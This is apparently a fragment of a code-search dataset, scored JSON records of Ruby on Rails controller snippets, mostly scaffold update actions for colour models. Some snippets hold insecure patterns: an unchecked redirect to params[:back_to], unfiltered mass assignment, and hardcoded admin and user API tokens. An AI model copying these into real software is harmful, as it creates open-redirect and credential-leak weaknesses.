"docid": "715d6f9339cecb0b24a9411fd8cf68ce",
"score": "0.63934636",
"text": "def update\n @color = Color.find(params[:id])\n\n respond_to do |format|\n if @color.update_attributes(params[:color])\n format.html { redirect_to params[:back_to], notice: 'Color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "931d165d5c7c3331c31588d450683dce",
"score": "0.6355867",
"text": "def update\n respond_to do |format|\n if @bloom_color.update(bloom_color_params)\n format.html { redirect_to @bloom_color, notice: 'Bloom color was successfully updated.' }\n format.json { render :show, status: :ok, location: @bloom_color }\n else\n format.html { render :edit }\n format.json { render json: @bloom_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4feb05bb59831ce8a534c82d39a6d56",
"score": "0.6335713",
"text": "def update\n respond_to do |format|\n if @admin_color.update(admin_color_params)\n format.html { redirect_to admin_colors_path, notice: 'Color was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_color }\n else\n format.html { render :edit }\n format.json { render json: @admin_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5042db7b1322335d8d5d6a554a041af2",
"score": "0.6306549",
"text": "def update\n respond_to do |format|\n if @bead_color.update(bead_color_params)\n format.html { redirect_to @bead_color, notice: 'Bead color was successfully updated.' }\n format.json { render :show, status: :ok, location: @bead_color }\n else\n format.html { render :edit }\n format.json { render json: @bead_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ae3bb3815c2028d0d7e9fb0debed5fd",
"score": "0.63000447",
"text": "def update\n respond_to do |format|\n if @primary_color.update(primary_color_params)\n format.html { redirect_to @primary_color, notice: 'Primary color was successfully updated.' }\n format.json { render :show, status: :ok, location: @primary_color }\n else\n format.html { render :edit }\n format.json { render json: @primary_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "411790b2eee668ba069e24cb727189f1",
"score": "0.6286049",
"text": "def update\n respond_to do |format|\n if @reform_color.update(reform_color_params)\n format.html { redirect_to admin_reform_colors_path, notice: t('shared.msgs.success_updated',\n obj: t('activerecord.models.reform_color', count: 1)) }\n else\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "8c5ddee60898869e504e688ada249de3",
"score": "0.62438357",
"text": "def colorupdate\n respond_to do |format|\n @location = params[:location]\n @index = params[:index].to_f\n @color = params[:color]\n @grid = Grid.find_by_location(@location)\n @newColorArray = @grid.colors\n @newColorArray[@index] = @color\n \n @grid.colors = @newColorArray\n @grid.save\n \n format.json {render json: @grid.colors, status: :ok, location: @grid}\n end\n end",
"title": ""
},
{
"docid": "052699ec0a9a7a2c52d1a356fc46e261",
"score": "0.6182587",
"text": "def update\n respond_to do |format|\n if @blue.update(blue_params)\n format.html { redirect_to @blue, notice: 'Blue was successfully updated.' }\n format.json { render :show, status: :ok, location: @blue }\n else\n format.html { render :edit }\n format.json { render json: @blue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c56fb7a6c5d7cd49b2682ca1d10d48e1",
"score": "0.61149895",
"text": "def update\n @body_style_size = BodyStyleSize.find(params[:id])\n\n respond_to do |format|\n if @body_style_size.update_attributes(params[:body_style_size])\n format.html { redirect_to @body_style_size, notice: 'Body style size was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @body_style_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03196d522528111270e9763b118f2024",
"score": "0.60898495",
"text": "def create\n @body_color = BodyColor.new(body_color_params)\n\n respond_to do |format|\n if @body_color.save\n format.html { redirect_to @body_color, notice: 'Body color was successfully created.' }\n format.json { render :show, status: :created, location: @body_color }\n else\n format.html { render :new }\n format.json { render json: @body_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c2637e2dff6461ef9a66804972faabc",
"score": "0.6064359",
"text": "def update\n @product_color = ProductColor.find(params[:id])\n\n respond_to do |format|\n if @product_color.update_attributes(params[:product_color])\n format.html { redirect_to @product_color, notice: 'Product color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45cbd23862ccae8ea12b2ef11c5d72a0",
"score": "0.60014296",
"text": "def update\n @car_body_style = CarBodyStyle.find(params[:id])\n\n respond_to do |format|\n if @car_body_style.update_attributes(params[:car_body_style])\n format.html { redirect_to @car_body_style, notice: 'Car body style was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @car_body_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8acc57293f829e56ee24909c13b5d945",
"score": "0.6001047",
"text": "def update\n @green = Green.find(params[:id])\n\n respond_to do |format|\n if @green.update_attributes(params[:green])\n format.html { redirect_to scaffold_green_url(@green), notice: 'Green was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @green.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc4263616968c17208ec280914628f6f",
"score": "0.59894395",
"text": "def update!(**args)\n @color = args[:color] if args.key?(:color)\n end",
"title": ""
},
{
"docid": "72791abdc303e154653b3bef92f33bef",
"score": "0.59850734",
"text": "def update\n respond_to do |format|\n if @red.update(red_params)\n format.html { redirect_to @red, notice: 'Red was successfully updated.' }\n format.json { render :show, status: :ok, location: @red }\n else\n format.html { render :edit }\n format.json { render json: @red.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd1ecfdde691089b6383529fcf407ff8",
"score": "0.59848225",
"text": "def body_color_params\n params.require(:body_color).permit(:name)\n end",
"title": ""
},
{
"docid": "431866a75b895d350f71d1b65f081f6b",
"score": "0.59837395",
"text": "def update\n @lbl_colour = LblColour.find(params[:id])\n\n respond_to do |format|\n if @lbl_colour.update_attributes(lbl_colour_params)\n format.html { redirect_to @lbl_colour, notice: 'Lbl colour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lbl_colour.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dec889ccb3921ba050b006d269853963",
"score": "0.59499186",
"text": "def update\n respond_to do |format|\n if @color_vehi.update(color_vehi_params)\n format.html { redirect_to @color_vehi, notice: 'Color vehi was successfully updated.' }\n format.json { render :show, status: :ok, location: @color_vehi }\n else\n format.html { render :edit }\n format.json { render json: @color_vehi.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46c840b83689108f764ce2b6a7721ce3",
"score": "0.59474397",
"text": "def update\n @body_style_categorization = BodyStyleCategorization.find(params[:id])\n\n respond_to do |format|\n if @body_style_categorization.update_attributes(params[:body_style_categorization])\n format.html { redirect_to @body_style_categorization, notice: 'Body style categorization has been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @body_style_categorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe50296f3d05fa59c8565f5945880a7f",
"score": "0.5939618",
"text": "def update\n @shirt_color = ShirtColor.find(params[:id])\n\n respond_to do |format|\n if @shirt_color.update_attributes(params[:shirt_color])\n format.html { redirect_to admins_shirt_colors_url, notice: 'Shirt color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shirt_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a513f64421982bfb0852efb1881f7d0",
"score": "0.59360355",
"text": "def update\n respond_to do |format|\n if @interior_colour.update(interior_colour_params)\n format.html { redirect_to admin_interior_colours_path, notice: 'Interior colour was successfully updated.' }\n format.json { render :show, status: :ok, location: @interior_colour }\n else\n format.html { render :edit }\n format.json { render json: @interior_colour.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85280f305bddff261446eb6af561924a",
"score": "0.5935732",
"text": "def update\n @color_type = ColorType.find(params[:id])\n\n respond_to do |format|\n if @color_type.update_attributes(params[:color_type])\n format.html { redirect_to(@color_type, :notice => 'Color type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @color_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fcae62c89f0edf44e7c60ae05dd53d1",
"score": "0.59293187",
"text": "def update_profile_colors(colors)\n return unless colors.is_a?(Hash)\n post_data = {}\n \n colors.each_pair do |key, value|\n post_data.store(\"profile_#{key}\", value.gsub(/#/, ''))\n end\n \n post \"account/update_profile_colors\", :post => post_data\n end",
"title": ""
},
{
"docid": "a3b9480fe430c3d9c964a89f8833ee48",
"score": "0.5921865",
"text": "def update\n session[:app_id]=params[:theme_color][:app_id]\n respond_to do |format|\n if @theme_color.update(theme_color_params)\n @theme_color.color = @theme_color.color.gsub(\"#\", \"0x\")\n @theme_color.save\n format.html { redirect_to theme_colors_path(:app_id => @theme_color.app_id), notice: 'Theme color was successfully updated.' }\n format.json { render :show, status: :ok, location: @theme_color }\n else\n format.html { render :edit }\n format.json { render json: @theme_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6850252f4a8da00c3101173aecfa1b93",
"score": "0.5886722",
"text": "def update\n respond_to do |format|\n if @event.update(event_params) && @event.update(set_colors)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a73237aa2d64b1034151ae063617d462",
"score": "0.5881021",
"text": "def update\n @colour = Colour.find(params[:id])\n\n colour = params[:colour]\n #what's different? update what hasn't changed\n if @colour[:hex].eql?(colour[:hex]) # hex hasn't changed, so RGB did! Update it.\n # make sure '#' is the first character\n colour[:hex] = \"##{colour[:hex]}\" if !colour[:hex][0].eql?(\"#\")\n # convert to rgba\n colour[:red] = colour[:hex][1..2].hex\n colour[:green] = colour[:hex][3..4].hex\n colour[:blue] = colour[:hex][5..6].hex\n colour[:alpha] = 1\n else # hex changed. update it\n rhex = to_hex(colour[:red])\n ghex = to_hex(colour[:green])\n bhex = to_hex(colour[:blue])\n colour[:hex] = \"##{rhex}#{ghex}#{bhex}\"\n end\n \n params[:colour] = colour\n \n respond_to do |format|\n if @colour.update_attributes(params[:colour])\n format.html { redirect_to(@colour, :notice => \"Colour was successfully updated. #{params}\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @colour.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eccbdd2f26709eb8062f8ca90da91ec3",
"score": "0.5875647",
"text": "def update!(**args)\n @background_color = args[:background_color] if args.key?(:background_color)\n @foreground_color = args[:foreground_color] if args.key?(:foreground_color)\n @solo_color = args[:solo_color] if args.key?(:solo_color)\n end",
"title": ""
},
{
"docid": "c3f773632e5a6b57442070335cd4f703",
"score": "0.58749735",
"text": "def set_color\n @color = nil \n require 'rest-client'\n # admin irizREhyoG6Ejwr4AcjsQME9\n response = RestClient::Request.execute(method: :get, url: 'localhost:3001/colores/'+params[:id],\n headers: {Authorization: 'user vURjXbANsTEvaSf5vQ5GVg8h'})\n if response.code == 200\n # @color = JSON.parse(response.body).collect { |i| [i[\"name\"], i[\"id\"]] }\n @color = Color.new(JSON.parse(response.body))\n end\n end",
"title": ""
},
{
"docid": "3184ecc838d90d07996ceaef8fd67333",
"score": "0.5871773",
"text": "def update_profile_colors(colors)\n post('/account/update_profile_colors.json', colors)\n end",
"title": ""
},
{
"docid": "665b0dcd719bd3e3ed7705e527ed2272",
"score": "0.58712023",
"text": "def update\n respond_to do |format|\n if @palette.update(palette_params)\n\n @palette.colors.destroy_all\n\n params[:palette][:colors].each do |value|\n @palette.colors.create(hex_value: value)\n end\n\n format.html { redirect_to @palette, notice: 'Palette was successfully updated.' }\n format.json { render :show, status: :ok, location: @palette }\n else\n format.html { render :edit }\n format.json { render json: @palette.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "652f626c3c966890d0d036ad02d864ce",
"score": "0.5867251",
"text": "def update\n respond_to do |format|\n if @colorizer.update(colorizer_params)\n format.html { redirect_to @colorizer, notice: 'Colorizer was successfully updated.' }\n format.json { render :show, status: :ok, location: @colorizer }\n else\n format.html { render :edit }\n format.json { render json: @colorizer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "154f130d0349b9b370e06bb5e02dae4d",
"score": "0.58589244",
"text": "def update\n @disc_color = DiscColor.find(params[:id])\n\n respond_to do |format|\n if @disc_color.update_attributes(params[:disc_color])\n format.html { redirect_to @disc_color, notice: 'Disc color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disc_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f7650082981609836132c207b1a61cc6",
"score": "0.5840084",
"text": "def update!(**args)\n @background_color = args[:background_color] if args.key?(:background_color)\n @description = args[:description] if args.key?(:description)\n end",
"title": ""
},
{
"docid": "43bdd89230f7511811f5c98fb794d1e6",
"score": "0.5821735",
"text": "def update\n respond_to do |format|\n if @metal_color.update(metal_color_params)\n record_activity(@metal_color)\n format.html { redirect_to admin_metal_colors_path, notice: 'Цвет металла был успешно обновлен.' }\n format.json { render :show, status: :ok, location: @metal_color }\n else\n format.html { render :edit }\n format.json { render json: @metal_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "902a3e8749001b4429401255ae8b55b2",
"score": "0.5815707",
"text": "def update\n respond_to do |format|\n if @red.update(red_params)\n format.html { redirect_to @red, notice: \"La red #{@red.nombre} ha sido actualizada.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @red.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd85973097857c6afa81ef9a5dcce4d6",
"score": "0.58028054",
"text": "def update\n authorize @products_color\n respond_to do |format|\n if @products_color.update(products_color_params)\n format.html { redirect_to products_path, notice: 'Products color was successfully updated.' }\n format.json { render :show, status: :ok, location: @products_color }\n else\n format.html { render :edit }\n format.json { render json: @products_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e926ea50abfa6fd872c062e560f6790c",
"score": "0.5760499",
"text": "def update\n respond_to do |format|\n if @lent_color.update(lent_color_params)\n format.html { \n redirect_to @lent_color\n flash[:success] = 'Se ha actualizado.' }\n format.json { render :show, status: :ok, location: @lent_color }\n else\n format.html { render :edit }\n format.json { render json: @lent_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e31d967834fc54ea75c88666d244f8f",
"score": "0.57420266",
"text": "def update\n @color_saturation = ColorSaturation.find(params[:id])\n\n respond_to do |format|\n if @color_saturation.update_attributes(params[:color_saturation])\n format.html { redirect_to @color_saturation, notice: 'Color saturation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @color_saturation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42df8ba024ce54dab184f02761621ecd",
"score": "0.5712647",
"text": "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "aa7cd6ddcc77010bd484b4db90a27f5f",
"score": "0.56367654",
"text": "def update\n\n if @product_color.update_attributes(params[:product_color])\n flash[:notice] = 'ProductColor was successfully updated.'\n render :partial => 'show', :object => @product_color\n else\n render :partial => 'edit', :object => @product_color, :status => 409\n end\n end",
"title": ""
},
{
"docid": "73fdf2cc52dbccbe3b7fad3397f1b1d4",
"score": "0.56363326",
"text": "def update\n respond_to do |format|\n if @plant_leaf_color.update(plant_leaf_color_params)\n format.html { redirect_to edit_plant_path(@plant_leaf_color.plant) , notice: 'Plant leaf color was successfully updated.' }\n format.json { render :show, status: :ok, location: @plant_leaf_color }\n else\n format.html { render :edit }\n format.json { render json: @plant_leaf_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bf6ada8d2f77340179215e818f3092ab",
"score": "0.56252337",
"text": "def update\n respond_to do |format|\n if @celestial_body.update(celestial_body_params)\n format.html { redirect_to @celestial_body, notice: 'Celestial body was successfully updated.' }\n format.json { render :show, status: :ok, location: @celestial_body }\n else\n format.html { render :edit }\n format.json { render json: @celestial_body.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d7e363263c9ce452a4200e98c75901db",
"score": "0.5619223",
"text": "def update\n @car_interior_color = CarInteriorColor.find(params[:id])\n\n respond_to do |format|\n if @car_interior_color.update_attributes(params[:car_interior_color])\n format.html { redirect_to @car_interior_color, notice: 'Car interior color was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @car_interior_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e6d59a62e287fcdb3051d62b6751a489",
"score": "0.5597008",
"text": "def update!(**args)\n @color = args[:color] if args.key?(:color)\n @display_name = args[:display_name] if args.key?(:display_name)\n @id = args[:id] if args.key?(:id)\n end",
"title": ""
},
{
"docid": "31d670987c9234c837cda077b614fd6e",
"score": "0.5596247",
"text": "def update\n @beerstyle = Beerstyle.find(params[:id])\n\n respond_to do |format|\n if @beerstyle.update_attributes(params[:beerstyle])\n format.html { redirect_to @beerstyle, notice: 'Beerstyle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @beerstyle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec1e0dd0facc96e786423a0a7e2f40ce",
"score": "0.5592153",
"text": "def update\n @brand_color = BrandColor.find(params[:id])\n\n respond_to do |format|\n if @brand_color.update_attributes(params[:brand_color])\n flash[:notice] = 'BrandColor was successfully updated.'\n format.html { redirect_to(@brand_color) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @brand_color.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cc654a8a5d8a8174f239c971a220a7a",
"score": "0.5584916",
"text": "def create\n respond_to do |format|\n require 'rest-client'\n response = RestClient.post('localhost:3001/colores/', color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n format.html { redirect_to @color, notice: \"Color was successfully created.\" }\n format.json { render :show, status: :created, location: @color }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "826c96a067492fb09717092ab42eb3e9",
"score": "0.55829495",
"text": "def update\n respond_to do |format|\n if @beer_style.update(beer_style_params)\n format.html { redirect_to @beer_style, notice: \"Beer style was successfully updated.\" }\n format.json { render :show, status: :ok, location: @beer_style }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @beer_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e3b6a57250d8fb82e5075a53e759858",
"score": "0.5565655",
"text": "def update!\n self.class.color_params.each do |field|\n update_block(field, attributes[field]) if attributes[field]\n end\n end",
"title": ""
},
{
"docid": "adc646b2d00679f5aa58873101b9c8a5",
"score": "0.55641735",
"text": "def set_app_color\n\t\t# update the color values with params of color\n\t\tif setting.update(type_app_color: params[:color])\n\t\t# response to the JSON\n\t\t render json: { success: true,message: \"Color Successfully Updated.\",response: {color: setting.type_app_color.as_json }},:status=>200\n\t else\n\t render :json=> { success: false, message: setting.errors },:status=> 203\n\t end\t\t\n\tend",
"title": ""
},
{
"docid": "29465ae4705e4f6c770cc910e1c5be75",
"score": "0.5553603",
"text": "def update\n respond_to do |format|\n if @blueprint.update(blueprint_params)\n format.html { redirect_to @blueprint, notice: 'Blueprint was successfully updated.' }\n format.json { render :show, status: :ok, location: @blueprint }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @blueprint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fd50989c54fb8de839c23f88ba9fcce",
"score": "0.5544387",
"text": "def update\n @rainbow = Rainbow.find(params[:id])\n\n respond_to do |format|\n if @rainbow.update_attributes(params[:rainbow])\n format.html { redirect_to @rainbow, notice: 'Rainbow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rainbow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cff328d545c88ee36051d2a1c58cd5f",
"score": "0.55341375",
"text": "def update\n respond_to do |format|\n if @suitcolor.update(suitcolor_params)\n format.html { redirect_to @suitcolor, notice: \"Suitcolor was successfully updated.\" }\n format.json { render :show, status: :ok, location: @suitcolor }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @suitcolor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b797a307269c6fa3563efb64fcd0bebd",
"score": "0.5529107",
"text": "def update!(**args)\n @color = args[:color] if args.key?(:color)\n @priority_override = args[:priority_override] if args.key?(:priority_override)\n end",
"title": ""
},
{
"docid": "edbf5fd8e0ed362a99a20d5bdbd18cbf",
"score": "0.5525469",
"text": "def update\n @scrobble = Scrobble.find(params[:id])\n\n respond_to do |format|\n if @scrobble.update_attributes(params[:scrobble])\n format.html { redirect_to @scrobble, notice: 'Scrobble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scrobble.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8dbd6f2b3aea54766a706407e95571a",
"score": "0.54929525",
"text": "def update!(**args)\n @body = args[:body] if args.key?(:body)\n end",
"title": ""
},
{
"docid": "a8dbd6f2b3aea54766a706407e95571a",
"score": "0.54929525",
"text": "def update!(**args)\n @body = args[:body] if args.key?(:body)\n end",
"title": ""
},
{
"docid": "8131b7965c0cbecf230e404da453b468",
"score": "0.5491372",
"text": "def update\n respond_to do |format|\n\n if @background.update(background_params)\n format.html { redirect_to [@community, @background], notice: 'Background was successfully updated.' }\n format.json { render :show, status: :ok, location: @background }\n else\n format.html { render :edit }\n format.json { render json: @background.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "060fa61671f82610a76ad0ac8cf874e3",
"score": "0.5486421",
"text": "def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"title": ""
},
{
"docid": "5fe773417b183f07be286b496fc8cd31",
"score": "0.5465131",
"text": "def index\n @body_colors = BodyColor.all\n end",
"title": ""
},
{
"docid": "e9bb6710e0cd4b2bdc621e66e2a6d647",
"score": "0.5447323",
"text": "def update\n @bg = Bg.find(params[:id])\n\n respond_to do |format|\n if @bg.update_attributes(params[:bg])\n flash[:notice] = 'Bg was successfully updated.'\n format.html { redirect_to(@bg) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bg.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36775786cb4c8aef4f9036ed7a47cc1b",
"score": "0.54392105",
"text": "def update!(**args)\n @color = args[:color] if args.key?(:color)\n @opacity = args[:opacity] if args.key?(:opacity)\n end",
"title": ""
},
{
"docid": "9f7968062b7b648a9eab571e7adab57d",
"score": "0.5432947",
"text": "def update\n @blueprint = Blueprint.find(params[:id])\n\n respond_to do |format|\n if @blueprint.update_attributes(params[:blueprint])\n format.html { redirect_to(blueprint_path(@blueprint), :notice => 'Blueprint was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @blueprint.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bee6b2d9b806fc37502e56a532ef2fd",
"score": "0.541829",
"text": "def update\n @belief = Belief.find(params[:id])\n\n respond_to do |format|\n if @belief.update_attributes(params[:belief])\n format.html { redirect_to @belief, :notice => 'Belief was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @belief.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "05fe1b43afd830330c817fd1036147d2",
"score": "0.54061836",
"text": "def update\n respond_to do |format|\n if @fantasy_draft_style.update(fantasy_draft_style_params)\n format.html { redirect_to @fantasy_draft_style, notice: 'Fantasy draft style was successfully updated.' }\n format.json { render :show, status: :ok, location: @fantasy_draft_style }\n else\n format.html { render :edit }\n format.json { render json: @fantasy_draft_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4a2be45b7d99670e817d5abc5aad6a7",
"score": "0.5403066",
"text": "def update\n @catebg = Catebg.find(params[:id])\n\n respond_to do |format|\n if @catebg.update_attributes(params[:catebg])\n format.html { redirect_to @catebg, notice: 'Catebg was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catebg.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a57ca2f09ef4c694495caa28b182e81e",
"score": "0.54012996",
"text": "def update\n @color_reflection = ColorReflection.find(params[:id])\n\n respond_to do |format|\n if @color_reflection.update_attributes(params[:color_reflection])\n format.html { redirect_to(@color_reflection, :notice => 'Color reflection was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @color_reflection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5655b98df6460a73de7b81851d822c78",
"score": "0.5393691",
"text": "def update\n @bundle = Bundle.find(params[:id])\n\n\n respond_to do |format|\n params[:bundle][:category] = params[:bundle][:category].strip.downcase\n params[:bundle][:style] = params[:bundle][:style].strip.downcase\n params[:bundle][:color] = params[:bundle][:color].strip.downcase\n params[:bundle][:brand] = params[:bundle][:brand].strip.downcase\n params[:bundle][:make] = params[:bundle][:make].strip.downcase\n params[:bundle][:location] = params[:bundle][:location].strip.downcase\n\n if @bundle.update_attributes(params[:bundle])\n format.html { redirect_to @bundle, notice: 'Bundle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b811522a9e3f50acd91a27f19037cf3",
"score": "0.53828645",
"text": "def update\n # binding.pry\n @ringtone = Ringtone.find(params[:id])\n\n respond_to do |format|\n if @ringtone.update_attributes(params[:ringtone])\n format.html { redirect_to @ringtone, notice: 'Ringtone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ringtone.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "334adca793bde44d8ae99a6443800efb",
"score": "0.53736776",
"text": "def update!(**args)\n @http_body = args[:http_body] if args.key?(:http_body)\n end",
"title": ""
},
{
"docid": "765d7164cee41701ef01fb20d8645882",
"score": "0.53725415",
"text": "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"title": ""
},
{
"docid": "58f9b3cee5871591c226ad1ae869437b",
"score": "0.53651184",
"text": "def update\n @internalcolor = Internalcolor.find(params[:id])\n\n respond_to do |format|\n if @internalcolor.update_attributes(params[:internalcolor])\n format.html { redirect_to(@internalcolor, :notice => 'Internalcolor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @internalcolor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57bd4f6c8201b5dd2b83f5a3764cc8d5",
"score": "0.5359664",
"text": "def update\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n if @redpack.update_attributes(params[:redpack])\n format.html { redirect_to @redpack, notice: 'Redpack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @redpack.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29bb12685f1bd8310895270327776aac",
"score": "0.5337589",
"text": "def update\n @red_flag = RedFlag.find(params[:id])\n\n respond_to do |format|\n if @red_flag.update_attributes(params[:red_flag])\n format.html { redirect_to @red_flag, notice: 'Red flag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @red_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18b21cf6b1ca6a953e31045e04cabf1c",
"score": "0.5337405",
"text": "def update\r\n respond_to do |format|\r\n if @color_page_accept_user.update(color_page_accept_user_params)\r\n format.html { redirect_to [:phone, @color_page_accept_user], notice: 'Color page accept user was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @color_page_accept_user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "f168c3ea7930319b72f1c44497422c90",
"score": "0.5334955",
"text": "def update\n @grid.squares[params[:x]][params[:y]] = params[:color]\n\n render json: { status: \"OK\" }\n end",
"title": ""
},
{
